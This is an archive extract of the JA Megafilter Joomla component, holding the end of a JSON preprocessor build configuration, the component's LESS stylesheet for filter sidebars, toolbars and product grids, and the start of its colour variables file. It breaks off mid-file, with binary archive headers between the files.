          "segmentToReplaceWith": "css",
          "preprocessableFilesDirs":
"less/\nsass/\nstylus/\nscss/\nstyl/\n"
        },
        "minCss": {
          "path": "",
          "outputType": "RELATIVE_FILEDIR",
          "segmentToReplace": "",
          "segmentToReplaceWith": "",
          "types": "",
          "preprocessableFilesDirs": "",
          "filePrefix": "-dist"
        },
        "html": {
          "segmentToReplace": "jade, haml, slim, markdown,
md, kit",
          "segmentToReplaceWith": "html",
          "path": "html/",
          "extension": ".html",
          "outputType": "REPLACE_SEGMENT",
          "preprocessableFilesDirs":
"jade/\nhaml/\nslim/\nmarkdown/\nmd/\nkit"
        },
        "js": {
          "segmentToReplace": "coffee, coffeescript,
coffeescripts, ls, livescript, livescripts",
          "segmentToReplaceWith": "html",
          "extension": ".html",
          "outputType": "REPLACE_SEGMENT",
          "preprocessableFilesDirs":
"coffee/\ncoffeescript/\ncoffeescripts/\nls/\nlivescript/\nlivescripts",
          "path": "js/"
        },
        "minJs": {
          "path": "",
          "outputType": "RELATIVE_FILEDIR",
          "segmentToReplace": "",
          "segmentToReplaceWith": "",
          "types": "",
          "preprocessableFilesDirs": "",
          "filePrefix": "-dist"
        },
        "compilers": {
          "less": {
            "autoCompile": true,
            "autoprefixer": false,
            "compress": false,
            "sourceMaps": false
          },
          "sass": {
            "autoCompile": true,
            "autoprefixer": false,
            "sourceMaps": false,
            "libSass": true,
            "compass": false,
            "fullCompass": false,
            "outputStyle": "expanded"
          },
          "stylus": {
            "autoCompile": true,
            "sourceMaps": false,
            "autoprefixer": false,
            "nib": false,
            "compress": false
          },
          "markdown": {
            "autoCompile": true,
            "sanitize": false,
            "gfm": true,
            "wrapWithHtml": false
          },
          "coffee": {
            "autoCompile": true,
            "bare": false,
            "uglify": false,
            "mangle": true,
            "iced": false,
            "sourceMaps": false
          },
          "livescript": {
            "autoCompile": true,
            "bare": false,
            "uglify": false,
            "mangle": true
          },
          "javascript": {
            "autoCompile": false,
            "uglify": true,
            "mangle": true,
            "babel": false,
            "sourceMaps": false
          },
          "jade": {
            "autoCompile": true,
            "pretty": true
          },
          "haml": {
            "autoCompile": true,
            "pretty": true,
            "doubleQuotes": false
          },
          "kit": {
            "autoCompile": true,
            "minifyHtml": false
          },
          "slim": {
            "autoCompile": true,
            "pretty": true,
            "indent": "default"
          },
          "css": {
            "autoCompile": false,
            "sourceMaps": false,
            "compress": true,
            "cssnext": false,
            "autoprefixer": false
          },
          "uglify": {
            "compress": {
              "sequences": true,
              "properties": true,
              "dead_code": true,
              "drop_debugger": true,
              "unsafe": false,
              "unsafe_comps": false,
              "conditionals": true,
              "comparisons": true,
              "evaluate": true,
              "booleans": true,
              "loops": true,
              "unused": true,
              "hoist_funs": true,
              "keep_fargs": false,
              "hoist_vars": false,
              "if_return": true,
              "join_vars": true,
              "cascade": true,
              "side_effects": true,
              "pure_getters": false,
              "negate_iife": true,
              "screw_ie8": false,
              "drop_console": false,
              "angular": false,
              "warnings": true,
              "pure_funcs": null,
              "global_defs": null
            },
            "output": {
              "quote_keys": false,
              "space_colon": true,
              "ascii_only": false,
              "unescape_regexps": false,
              "inline_script": false,
              "beautify": false,
              "bracketize": false,
              "semicolons": true,
              "comments": false,
              "preserve_line": false,
              "screw_ie8": false,
              "preamble": null
            }
          }
        }
      }
    }
  }
]PK�v�[~��w�wassets/less/style.lessnu�[���/**
 *
------------------------------------------------------------------------
 * JA Megafilter Component
 *
------------------------------------------------------------------------
 * Copyright (C) 2004-2017 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
 * @license - Copyrighted Commercial Software
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites:  http://www.joomlart.com -  http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 *
------------------------------------------------------------------------
 */


 @import "variables.less";

 :root {
  --ja-mf-primary:  #2196f3;
  --ja-mf-success:  #2196f3;
  --ja-mf-info:     #2196f3;
  --ja-mf-warning:  #2196f3;

  --ja-mf-border: #dbdbdb;
  
  --ja-mf-spacing: 8px;
  --ja-mf-border-radius: 4px;

  --ja-mf-trans-base: all 0.25s ease;
}

/* --------------------------------------------------------- */
/* GENERIC STYLES                                            */
/* --------------------------------------------------------- */
.ja-megafilter-wrap.row {
  margin-left: -15px;
  margin-right: -15px;
}

.ja-megafilter-wrap,
.ja-megafilter-wrap * {
  box-sizing: border-box;
}

.ja-megafilter-wrap {
  .main-content {
    float: right;
    padding-left: 15px;
    padding-right: 15px;
    width: 75%;
  }

  .sidebar-main {
    padding-left: 15px;
    padding-right: 15px;
    width: 25%;
    float: left;

    .sidebar-toggle {
      display: none;
    }
  }
}

// PROGRESS BAR
// --------------------------------

#myProgress {
  width: 97%;
  margin: 0 auto;

  #myBar {
    width: 0%;
    background-color: #ddd;
    height: 3px;
    transition:width 500ms ease;
  }

  #percentBar {
    text-align: center;
    font-size: 13px;
  }
}

.loading_layer {
  width: 100%;
  height: 100%;
  z-index: 10;
  overflow: hidden;
  background: #ffffff;
  opacity: 0.6;
  filter: alpha(opacity=60);
}


#loader {
  display: block;
  width: 150px;
  height: 150px;
  margin: 0 auto;
  border-radius: 50%;
  border: 3px solid transparent;
  border-top-color: #16a085;
  animation: spin 1.7s linear infinite;
  z-index: 11;

  &:before {
    content: "";
    position: absolute;
    top: 5px;
    left: 5px;
    right: 5px;
    bottom: 5px;
    border-radius: 50%;
    border: 3px solid transparent;
    border-top-color: #e74c3c;
    animation: spin-reverse .6s linear infinite;
  }

  &:after {
    content: "";
    position: absolute;
    top: 15px;
    left: 15px;
    right: 15px;
    bottom: 15px;
    border-radius: 50%;
    border: 3px solid transparent;
    border-top-color: #f9c922;
    animation: spin 1s linear infinite;
  }
}

// Bourbon mixins
@keyframes spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

@keyframes spin-reverse  {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(-360deg);
  }
}


// SIDEBAR HORIZONTAL
// --------------------------------
.sb-horizontal.ja-mg-sidebar {
    float: none;
    width: auto;

    .filter-options {
      margin-left: -10px;
      margin-right: -10px;
      &:after {
        content: "";
        display: table;
        clear: both;
      }

      .filter-field {
        margin: 0 0 20px;
        float: left;
        width: 33.3%;

        // Tablet
        @media screen and (max-width: 768px) {
          width: 50%;
        }

        // Mobile
        @media screen and (max-width: 640px) {
          width: 100%;
        }

        .filter-options-title {
          margin-bottom: -13px;
          padding-left: 30px;

          span {
            padding-left: 15px;
            padding-right: 15px;

            &:after {
              display: none;
            }

            &:hover {
              cursor: default;
            }
          }
        }

        .filter-options-content {
          background-color: rgba(255, 255, 255, 0.5);
          border: 1px solid #ddd;
          min-height: 150px;
          height: auto;
          margin: 0 10px;
          padding: 30px 20px 20px;

          &:not(.filter-dropdown) {
            overflow-y: auto;
            height: 150px;
          }
        }
      }
    }

    // Style for button
    #jamegafilter-search-btn {
      border-radius: 0;
      box-shadow: none;
      text-transform: uppercase;
      font-weight: 600;
      letter-spacing: 1px;
    }
  }

.ja-megafilter-wrap.sb-horizontal {
  .main-content {
    float: none;
    width: 100%;
  }
}

.main-content.full-width {
	width: 100% !important;
}

/* --------------------------------------------------------- */
/* TOOLBAR STYLES                                            */
/* --------------------------------------------------------- */

.products-toolbar .pagination {
  margin: 0 0 calc(var(--ja-mf-spacing) * 2) auto;
  overflow: hidden;

  @media (min-width: 768px) {
    margin-bottom: 0;
    margin-left: 0;
  }

  & > li {
    display: block;
    float: left;
    padding: 0 5px;
    overflow: hidden;

    & > span,
    & > a {
      border: 0;
      border-bottom: 2px solid transparent;
      color: @gray-dark;
      display: block;
      float: none;
      line-height: 1;
      margin: 0;
      padding: 8px 2px;
      text-transform: uppercase;

      &:hover, &:focus, &:active {
        background-color: transparent;
        border-color: @gray;
      }
    }

    &.active {
      & > a {
        background-color: transparent;
        border-color: @brand-primary;
        font-weight: bold;

        &:hover, &:focus, &:active {
          color: @brand-primary;
        }
      }
    }

    &:first-child,
    &:last-child {
      a, span {
        border-radius: 0;
      }
    }

    &.disabled {
      a {
        color: #ccc;

        &:hover, &:focus, &:active {
          border-color: transparent;
        }
      }
    }
  }
}

.ja-toolbar-wrapper {
  &.toolbar-top {
    margin-bottom: calc(var(--ja-mf-spacing) * 4);
  }
}

.products-toolbar {

  // Pagination
  // ----------
  .pagination-wrap {
    display: flex;
    padding: var(--ja-mf-spacing) 0;
    align-items: center;
    justify-content: space-between;
  
    &::before, &::after {
      display: none;
    }
  }

  // Display number
  // --------------
  .orderby-displaynumber {
    background-color: #f0f0f0;
    padding: calc(var(--ja-mf-spacing) * 1.5) calc(var(--ja-mf-spacing) *
2);
    position: relative;
    vertical-align: middle;
    display: flex;
    flex-direction: column;
    align-items: flex-start;
    justify-content: flex-start;

    @media (min-width: 768px) {
      flex-direction: row;
      align-items: center;
      justify-content: flex-start;
    }

    &::before, &::after {
      display: none;
    }

    .limiter {
      display: inline-block;
      width: auto;

      @media (min-width: 768px) {
        margin-left: calc(var(--ja-mf-spacing) * 2);
      }

      .limiter-options {
        display: inline-block;

        @media screen and (max-width: 640px) {
          max-width: 60px;
        }
      }

      .limiter-label {
        span {
          padding-left: 0;
        }
      }
    }

    .toolbar-amount {
      margin-left: 8px;
      margin-top: 0;
      display: none;

      @media (min-width: 768px) {
        display: block;
      }
    }
  }

  label,
  .sorter-options,
  .sorter-action,
  #sorter_chzn,
  #limiter_chzn {
    display: inline-block;
  }

  span {
    height: auto;
    padding: 0 5px;
    vertical-align: middle;
    width: auto;
  }

  label {
    font-weight: normal;
    margin-bottom: 0;
  }

  select {
    border-radius: 0;
    box-shadow: none;
  }

  // Sort
  .toolbar-sorter {
    margin-bottom: var(--ja-mf-spacing);

    @media (min-width: 992px) {
      margin-bottom: 0;
    }

    .sorter-label {
      margin-right: var(--ja-mf-spacing);
    }

    .sorter-action {
      margin-left: var(--ja-mf-spacing);
    }

    .sorter-options {
      @media screen and (max-width: 640px) {
        max-width: 120px;
      }
    }

    .action {
      background-color: #096;
      border: 0;
      color: #fff;
      float: none;
      height: 34px;
      line-height: 30px;
      padding: 0;
      vertical-align: middle;
      text-align: center;
      width: 32px;

      &.sort-asc {
        .fa-long-arrow-up:before {
          content: "\f175";
        }
      }
    }
  }

  // Amount
  .toolbar-amount {
    background: transparent;
    border: 0;
    padding: 0;

    .toolbar-number {
      display: inline-block;
      height: auto;
      line-height: 1;
      padding: 0 5px;
      width: auto;
    }
  }

  // Layout chooser
  // --------------
  .jamg-layout-chooser {
    display: none;
    position: absolute;
    top: calc(var(--ja-mf-spacing) * 1.5);
    right: calc(var(--ja-mf-spacing) * 2);

    @media (min-width: 768px) {
      display: block;
    }

    @media (min-width: 992px) {
      position: relative;
      top: auto;
      right: auto;
      margin-left: auto;
    }

    span {
      background-color: @white;
      border: 1px solid @gray-lighter;
      color: @gray;
      display: inline-block;
      height: 32px;
      line-height: 32px;
      margin-left: 5px;
      text-align: center;
      width: 32px;

      &:hover {
        cursor: pointer;
        color: @gray-dark;
      }

      &.active {
        border-color: @blue;
        color: @blue;
      }
    }
  }
}


// PRODUCTS
// ---------------------------------------
.ja-products-wrapper .product-items {
  display: grid;
  // grid-template-columns: repeat(3, 1fr);
  gap: calc(var(--ja-mf-spacing) * 3);
  align-items: stretch;

  margin-bottom: calc(var(--ja-mf-spacing) * 3);
}

.ja-products-wrapper {

  // Product item
  // ------------
  .product-item {
    // margin-bottom: var(--ja-mf-spacing);
    min-width: 0;

    .product-item-info {
      background: #fff;
      border: 1px solid var(--ja-mf-border);
      padding: calc(var(--ja-mf-spacing) * 2);
      height: 100%;
      transition: var(--ja-mf-trans-base);

      &:hover {
        border-color: var(--ja-mf-primary);
      }

      table {
        span.color-item-bg {
          border-radius: 2px;
          box-shadow: 0 0 1px rgba(0,0,0,0.2) inset !important;
        }

        img {
          max-width: 100%;
        }
      }

      > h4 {
        font-size: 14px;
        font-weight: 400;
      }
    }

    .item-field {
      margin-bottom: var(--ja-mf-spacing);
    }

    .item-field a {
      word-wrap: break-word;
    }

    // Product image
    a.product-item-photo {
      position: relative;

      img {
        max-width: 100%;
      }

      .product-image-badge {
        position: absolute;
        top: @spacing / 2;
        right: @spacing / 2;
      }
    }

    // Product name
    .name {
      margin-bottom: calc(var(--ja-mf-spacing) * 1.5);
    }

    .product-item-name {
      font-size: 120%;
      font-weight: 500;
      margin: 0;
      line-height: 1.3;
    }

    // Product description
    .desc {
      margin-bottom: calc(var(--ja-mf-spacing) * 1.5);
    }

    .price-box {
      font-weight: 500;
      font-size: 15px;

      .old_price {
        color: @gray;
        margin-right: @spacing / 2;
        text-decoration: line-through;
      }
    }

    // Actions
    .product-item-actions {
      .addtocart-bar {
        overflow: hidden;

        .quantity-input {
          border-radius: 0;
          box-shadow: none;
          display: block;
          float: left;
          height: 36px;
          max-width: 50px;
        }

        .quantity-controls {
          display: inline-block;
          margin-right: 10px;
          margin-left: 2px;
          overflow: hidden;
          width: 17px;

          input {
            background-color: @gray-lighter;
            background-image: url(../images/quantity-bg.png);
            background-repeat: no-repeat;
            border: 1px solid #ddd;
            border-radius: 0;
            height: 17px;
            float: left;
            margin: 0;
            width: 17px;
            -webkit-appearance: none;

            &.quantity-plus {
              background-position: left bottom;
              margin-bottom: 2px;
            }

            &.quantity-minus {
              background-position: -15px -15px;
            }

            &:hover {
              border-color: #333;
            }
          }
        }
      }
    }

    .addtocart-button {
      float: right;

      .btn {
        background-color: @brand-primary;
        border: 0;
        border-radius: 3px;
        color: #fff;
        font-weight: 600;
        font-size: 13px;
        letter-spacing: 0.5px;
        padding: 10px 15px;
        text-transform: uppercase;

        &:hover, &:focus, &:active {
          background-color: darken(@brand-primary, 5%);
        }
      }
    }
  }
}


// LIST VIEW
// -----------------------------------------
.ja-products-wrapper.list {
  .list {
    &.product-items {
      grid-template-columns: repeat(1, 1fr);
    }

    .product-item {
      margin-bottom: 0;

      &:last-child .product-item-info {
        border-bottom: 0;
        padding-bottom: 0;
      }

      .product-item-info {
        border: 0;
        border-bottom: 1px solid #ddd;
        padding-left: calc(var(--ja-mf-spacing) * 23);
        padding-right: 0;
        position: relative;
        overflow: hidden;
        min-height: 200px;

        &:hover {
          box-shadow: none;
        }

        &.no-image {
          padding-left: 0;
        }

        .product-item-details {
          overflow: hidden;
        }

        .thumb {
          position: absolute;
          left: 0;
          top: 20px;
        }

        .product-item-photo {
          background-color: #fff;
          margin-bottom: 0;
          padding: 0;

          img {
            max-width: calc(var(--ja-mf-spacing) * 20);
          }
        }

        .product-item-actions {
          float: left;
        }
      }
    }
  }
}


// PRODUCT ITEM GRID
// -----------------------------------------
// One column
.ja-products-wrapper .cols-1.product-items {
  grid-template-columns: repeat(1, 1fr);
}

// Two columns
.ja-products-wrapper .cols-2.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }
}

// Three columns
.ja-products-wrapper .cols-3.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(3, 1fr);
  }
}

// Four columns
.ja-products-wrapper .cols-4.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(4, 1fr);
  }
}

// Five columns
.ja-products-wrapper .cols-5.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(3, 1fr);
  }

  @media (min-width: 1200px) {
    grid-template-columns: repeat(5, 1fr);
  }
}

.ja-products-wrapper .cols-6.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(3, 1fr);
  }

  @media (min-width: 1200px) {
    grid-template-columns: repeat(6, 1fr);
  }
}

.ja-products-wrapper .cols-7.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(3, 1fr);
  }

  @media (min-width: 1200px) {
    grid-template-columns: repeat(7, 1fr);
  }
}

.ja-products-wrapper .cols-8.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(3, 1fr);
  }

  @media (min-width: 1200px) {
    grid-template-columns: repeat(8, 1fr);
  }
}

.ja-products-wrapper .cols-9.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(3, 1fr);
  }

  @media (min-width: 1200px) {
    grid-template-columns: repeat(9, 1fr);
  }
}

.ja-products-wrapper .cols-10.product-items {
  @media (min-width: 768px) {
    grid-template-columns: repeat(2, 1fr);
  }

  @media (min-width: 992px) {
    grid-template-columns: repeat(3, 1fr);
  }

  @media (min-width: 1200px) {
    grid-template-columns: repeat(10, 1fr);
  }
}


.ja-products-wrapper .product-item-details {
  background: none;
  padding: 0;
  border: 0;
  float: none;
  display: block;
  min-width: 0;
  border-radius: 0;
  font-size: 14px;
  line-height: 1.7142; /* 20px when font size = 14px */
}

.ja-products-wrapper .product-item-details:hover {
  color: inherit;
  background: none;
}

.ja-products-wrapper .product-item-photo {
  display: block;
  border-bottom: 0;
  margin-bottom: 20px;

  .product-image-container {
    display: block;
    position: relative;
    overflow: hidden;
    text-align: center;
  }

  .product_label {
    position: absolute;
    top: 0;
    right: 0;
  }
}

.ja-products-wrapper .product-item-actions {
  margin-top: 20px;
  overflow: hidden;
}

.ja-products-wrapper .addtocart-bar {
  text-align: left;
}

/* Product reviews summary */
.ja-products-wrapper .product-reviews-summary .rating-summary,
.ja-products-wrapper .product-reviews-summary .reviews-actions {
  display: inline-block;
}

.ja-products-wrapper .product-reviews-summary {
  margin-bottom: 10px;
}

.ja-products-wrapper .product-reviews-summary .rating-summary {
  line-height: 1;
  padding-top: 5px;
  padding-bottom: 5px;
}

.ja-products-wrapper .product-reviews-summary .rating-summary > span {
  margin-right: 5px;
}

.filter-items .rating-result,
.ja-products-wrapper .rating-result {
  background: url("../images/color-stars.png") repeat-x 0
bottom;
  text-align: left;
  height: 12px;
  width: 60px;
  display: inline-block;
  position: relative;
}

.filter-items .rating-result span,
.ja-products-wrapper .rating-result span {
  background: url("../images/color-stars.png") repeat-x 0 0;
  height: 12px;
  position: absolute;
  left: 0;
}

.filter-items .rating-result {
  margin: 3px 3px 0 3px;
  top: 1px;
}


/* Stock */
.ja-products-wrapper .stock.unavailable {
  color: red;
}

.ja-products-wrapper .stock.available {
  color: green;
}


// Toolbar bottom
// --------------------------
div.toolbar-bottom {
  border-top: 1px solid #ddd;
  padding-top: 20px;

  span {
    height: auto;
  }
}

/* --------------------------------------------------------- */
/* FILTER STYLES                                             */
/* --------------------------------------------------------- */
.ja-filter-wrapper .filter-content {
  background-color: @gray-lighter;
  padding: @spacing;

  // Select filter
  .selected-filters {
    ol {
      list-style: none;
      padding-left: 0;
      padding-right: 0;

      li.item {
        padding: 5px;

        label {
          font-weight: 400;
        }

        .filter-label {
          opacity: 0.6;
        }

        .filter-value {
          .img-selected {
            border-radius: 2px;
            max-width: 40px;
          }
        }
      }
    }
  }

  .block-subtitle {
    border-bottom: 1px solid lighten(@gray-light, 10%);
    font-size: 15px;
    font-weight: 600;
    letter-spacing: 0.5px;
    margin: 0 0 @spacing;
    padding: 0 0 (@spacing / 2);
    text-transform: uppercase;
  }

  input[type="checkbox"],
  input[type="radio"] {
    margin-top: 0;
    margin-right: 3px;
    margin-left: 3px;
    margin-bottom: 3px;
    vertical-align: middle;
  }

  .input-text {
    border-radius: 0;
    box-shadow: none;
    width: 100%;

    &.jafrom,
    &.jato {
      padding-right: 15px;
    }
  }

  .filter-items {
    box-shadow: none;
    border-radius: 0;
    width: 100%;

    .item.lv-2 {
      background: url(../images/tree-bg.png) no-repeat 0px center;
      padding-left: 20px;
    }

    .item.lv-3 {
      background: url(../images/tree-bg.png) no-repeat 20px center;
      padding-left: 40px;
    }

    .item.lv-4 {
      background: url(../images/tree-bg.png) no-repeat 40px center;
      padding-left: 60px;
    }

    .item.lv-5 {
      background: url(../images/tree-bg.png) no-repeat 60px center;
      padding-left: 80px;
    }
  }

  .filter-options-title {
    margin-bottom: @spacing / 1.5;

    span {
      background-color: darken(@gray-lighter, 5%);
      border-radius: 2px;
      display: inline-block;
      font-size: 12px;
      letter-spacing: 1px;
      padding: 5px 10px 5px 28px;
      position: relative;
      text-transform: uppercase;

      &:hover {
        cursor: pointer;

        &:after {
          color: @gray-dark;
        }
      }

      &:after {
        content: "\f146";
        color: @gray;
        display: block;
        font-family: FontAwesome;
        font-size: 14px;
        position: absolute;
        top: 5px;
        left: 8px;
      }
    }

    &.collapsed span:after {
      content: "\f0fe";
    }
  }

  // Filter option content
  .filter-range .filter-options-content {
    padding-left: 0;
    padding-right: 20px;

    label {
      font-weight: normal;
    }

    .ui-widget-content {
      background: none;
    }

    .ui-slider-horizontal {
      background-color: @brand-primary;
      border-radius: 0;
      border: 0;
      height: 6px;
      margin-left: 0;
      margin-right: 0;
      width: 100%;

      .ui-slider-range {
        background-color: @gray;
        border: 0;
        border-radius: 0;
        height: 6px;
      }

      .ui-slider-handle {
        background: @white;
        border: 1px solid @gray-light;
        border-radius: 50%;
        box-shadow: 0 0 3px rgba(0,0,0,0.2);
        height: 14px;
        margin-left: 0;
        margin-right: 0;
        width: 14px;
      }
    }
  }

  .filter-items {
    li {
      padding: 3px 0;

      &:first-child {
        padding-top: 0;
      }
    }

    label {
      margin-bottom: 0;
      font-weight: normal;
    }
  }

  // Filter colors
  .color-item {
    float: left;
    margin: 2px;
    padding: 0 !important;

    span.color-item-bg {
      border: 1px solid rgba(0,0,0,0.1);
      border-radius: 2px;
      display: block;
      position: relative;
      min-height: 28px;
      line-height: 28px;
      min-width: 28px;
      text-align: center;
      transition: all 0.35s;

      &:hover {
        border: 1px solid rgba(0,0,0,0.3);
        cursor: pointer;
        opacity: 0.8;
      }

      &.color-active {
        &:before {
          background: #fff;
          border: 1px solid rgba(0,0,0,0.2);
          border-radius: 50%;
          display: block;
          content: "";
          height: 10px;
          position: absolute;
          top: 8px;
          left: 8px;
          width: 10px;
        }
      }
    }
  }

  // Media item
  // ----------
  .filter-items .media-item {
    padding: 5px !important;
    float: left;
    width: 25%;

    img {
      border: 1px solid #ddd;
      border-radius: 2px;
      max-width: 100%;

      &.media-active {
        border: 1px solid #096;
      }
    }
  }
}

.ja-filter-wrapper .filter-content .filter-field + .filter-field {
  margin-top: 20px;
}

.ja-filter-wrapper .filter-options-title {
  margin-bottom: 10px;
}

/* Range */
.ja-filter-wrapper .filter-range .filter-options-content  {
  padding: 0 0.6em;
}

.ja-filter-wrapper .range-value {
  margin-top: 10px;
}

.ja-filter-wrapper .range-max {
  float: right;
}

/* Filter Selected */
.ja-filter-wrapper ol,
.ja-filter-wrapper ul {
  padding-left: 20px;
  margin-left: 0;
}

.ja-filter-wrapper dd {
  margin-left: 0;
}

.ja-filter-wrapper select,
.ja-filter-wrapper input[type="text"] {
  max-width: 100%;
  min-height: 28px;
}

.ja-filter-wrapper ul.filter-items {
  padding-left: 0;
  list-style: none;
  overflow: hidden;
}

.ja-filter-wrapper ol.items .clear-filter .filter-label {
  margin-right: 5px;
}

.ja-filter-wrapper ol.items li.item {
  border-radius: 2px;
  padding: 2px 5px;
}

.ja-filter-wrapper ol.items li.item:hover {
  background-color: #fff;
}

.ja-filter-wrapper ol.items .clear-filter.remove {
  position: relative;
  padding-right: 20px;
  display: block;
  margin-bottom: 0;
}

.ja-filter-wrapper ol.items .clear-filter.remove:after {
  content: "\f1f8";
  font-family: FontAwesome;
  position: absolute;
  right: 5px;
  top: 0;
  cursor: pointer;
  color: #999;
  transition: all 0.35s;
}

.ja-filter-wrapper ol.items .clear-filter.remove:hover:after {
  color: #096;
}

.ja-filter-wrapper ol.items li:hover {
}

.ja-filter-wrapper .filter-actions {
  text-align: right;
}

/* Overide Jquery UI */
.ui-widget-header a {
  border-bottom: 0;
}

.ui-datepicker .ui-datepicker-title select {
  display: inline-block;
  border-width: 1px;
}

.ui-datepicker .ui-datepicker-title select + select {
  margin-left: 5px;
}


// OVERRIDE FOR JSHOPPING COMPONENT
// --------------------------------------------------
.ja-megafilter-wrap.jshopping {
  .product-item-actions {
    overflow: hidden;

    .addtocart-area {
      float: left;
    }

    .view-detail {
      float: right;

      .btn-default {
        border: 1px solid transparent;
        border-radius: 3px;
        font-size: 13px;
        font-weight: 500;
        text-transform: uppercase;
        padding: 9px 10px;

        &:hover, &:focus, &:active {
          background: transparent;
          border-color: @gray-light;
        }
      }
    }
  }
}


// OVERRIDE FOR DOCMAN COMPONENT
// --------------------------------------------------
.chzn-container-single .chzn-single > span,
.chosen-container-single .chosen-single > span {
  display: flex;
  align-items: center;

  > span {
    margin-right: 6px;
    display: inline-block;
  }
}



// STYLE FOR RTL LANGUAGE
// --------------------------------------------------------
*[dir="rtl"] {
  .ja-filter-wrapper .filter-actions {
    margin-bottom: 20px;
  }

  .ja-filter-wrapper ol.items .clear-filter.remove {
    padding-left: 20px;
    padding-right: 0;
  }

  .ja-filter-wrapper ol.items .clear-filter.remove::after {
    right: auto;
    left: 5px;
  }

  .products-toolbar .toolbar-sorter {
    float: right;
  }

  .ja-filter-wrapper .filter-content {
    .filter-items {
      padding-right: 0;

      .item.lv-2 {
        background: url(../images/tree-rtl-bg.png) no-repeat right center;
        padding-right: 20px;
        padding-left: 0;
      }

      .item.lv-3 {
        background: url(../images/tree-rtl-lv2-bg.png) no-repeat right
center;
        padding-right: 40px;
        padding-left: 0;
      }

      .item.lv-4 {
        background: url(../images/tree-rtl-lv3-bg.png) no-repeat right
center;
        padding-right: 60px;
        padding-left: 0;
      }

      .item.lv-5 {
        background: url(../images/tree-rtl-lv4-bg.png) no-repeat right
center;
        padding-right: 80px;
        padding-left: 0;
      }
    }
  }

  .ja-filter-wrapper .filter-content .color-item {
    float: right;
  }
}


// RESPONSIVE STYLE
// --------------------------------------------------------
@media (min-width: 769px) and (max-width: 1024px) {
  .ja-megafilter-wrap.docman {
    .product-item-actions {
      .btn {
        margin-bottom: 10px;
        margin-left: 0 !important;
        width: 100%;
      }
    }
  }
}

.jamega-row-flex {
  display: -webkit-box;
  display: -moz-box;
  display: -ms-flexbox;
  display: -webkit-flex;
  display: flex;
  flex: 1 1 auto;
  overflow: hidden;
}

.jamega-row-flex > div[class*='col-'],
.jamega-row-flex > * {
   margin: 0 -.3px; /* hack adjust for wrapping */
}

// Tablet
@media (max-width: 768px) {
  .ja-megafilter-wrap {
    position: relative;

    // Sidebar
    // -------------
    .ja-mg-sidebar {
      height: 50px;
      overflow: hidden;
      width: 100%;

      &.open {
        height: auto;

        .filter-open {
          display: none;
        }

        .filter-close {
          display: inline-block;
        }
      }

      .filter-close {
        display: none;
      }

      .sidebar-toggle {
        background-color: @gray;
        color: @white;
        display: block;
        height: 50px;
        font-weight: 500;
        line-height: 50px;
        letter-spacing: 1px;
        text-align: center;
        text-transform: uppercase;
        width: 100%;

        &:hover {
          background-color: @brand-primary;
          cursor: pointer;
          text-decoration: none;
        }

        i {
          margin-right: 5px;
          vertical-align: middle;
        }
      }
    }

    // Main content
    // ------------
    .main-content {
      width: 100%;

      .ja-products-wrapper .product-item:nth-child(3n+1) {
        clear: none !important;
      }

      .ja-products-wrapper .product-item:nth-child(2n+1) {
        clear: left !important;
      }
    }
  }
}

// Mobile
@media (max-width: 480px) {
  .ja-megafilter-wrap {
    .main-content {
      .product-item {
        width: 100%;
      }
    }
  }
}


// MISC
// --------------------------------------------------------
.ja-products-wrapper.products-list .product-item-details .row.thumb
.col-md-12 {
  position: initial;
}PK�v�[U�/���assets/less/variables.lessnu�[���//==
Color Palletes
//
//**

// Gray Levels
@gray-base:              #000000;
@gray-darkest:           #212121;  //** added
@gray-darker:            #424242;
@gray-dark:              #616161;
@gray:                   #9e9e9e;
@gray-light:             #bdbdbd;
@gray-lighter:           #eeeeee;
@gray-lightest:          #fafafa;  //** added

// blue gray levels
@bluegray-darkest:       #263238;  
@bluegray-darker:        #455a64;
@bluegray-dark:          #607d8b;
@bluegray:               #90a4ae;
@bluegray-light:         #cfd8dc;
@bluegray-lighter:       #eceff1;
@bluegray-lightest:      #f6f8f8;

// accent colors
@white:                 #fff;
@blue:                  #2196f3;
@green:                 #4caf50;
@lime:                  #cddc39;
@cyan:                  #00bcd4;
@teal:                  #009688;
@red:                   #f44336;
@yellow:                #ffeb3b;
@amber:                 #ffc107;
@orange:                #ff9800;
@brown:                 #795548;
@pink:                  #e91e63;
@purple:                #9c27b0;
@indigo:                #3f51b5;

@blue-dark:              darken(@blue,10%);
@green-dark:             darken(@green,10%);
@lime-dark:              darken(@lime,10%);
@cyan-dark:              darken(@cyan,10%);
@teal-dark:              darken(@teal,10%);
@red-dark:               darken(@red,10%);
@yellow-dark:            darken(@yellow,10%);
@amber-dark:             darken(@amber,10%);
@orange-dark:            darken(@orange,10%);
@brown-dark:             darken(@brown,10%);
@pink-dark:              darken(@pink,10%);
@purple-dark:            darken(@purple,10%);
@indigo-dark:            darken(@indigo,10%);


// Brand Colors
@brand-primary:         @blue;
@brand-accent:          @green;  // Added
@brand-success:         @green;
@brand-info:            @cyan;
@brand-danger:          @red;
@brand-warning:         @orange;


// Other Brand colors
@brand-facebook:        #3b5998;
@brand-twitter:         #3a92c8;
@brand-google:          #dd4b39;
@brand-dribbble:        #c32361;
@brand-youtube:         #b00;
@brand-pinterest:       #cb2027;
@brand-linkedin:        #006fa6;


//== Link color
@link-color:        @brand-primary;
@link-hover-color:  darken(@link-color, 10%);

@spacing:
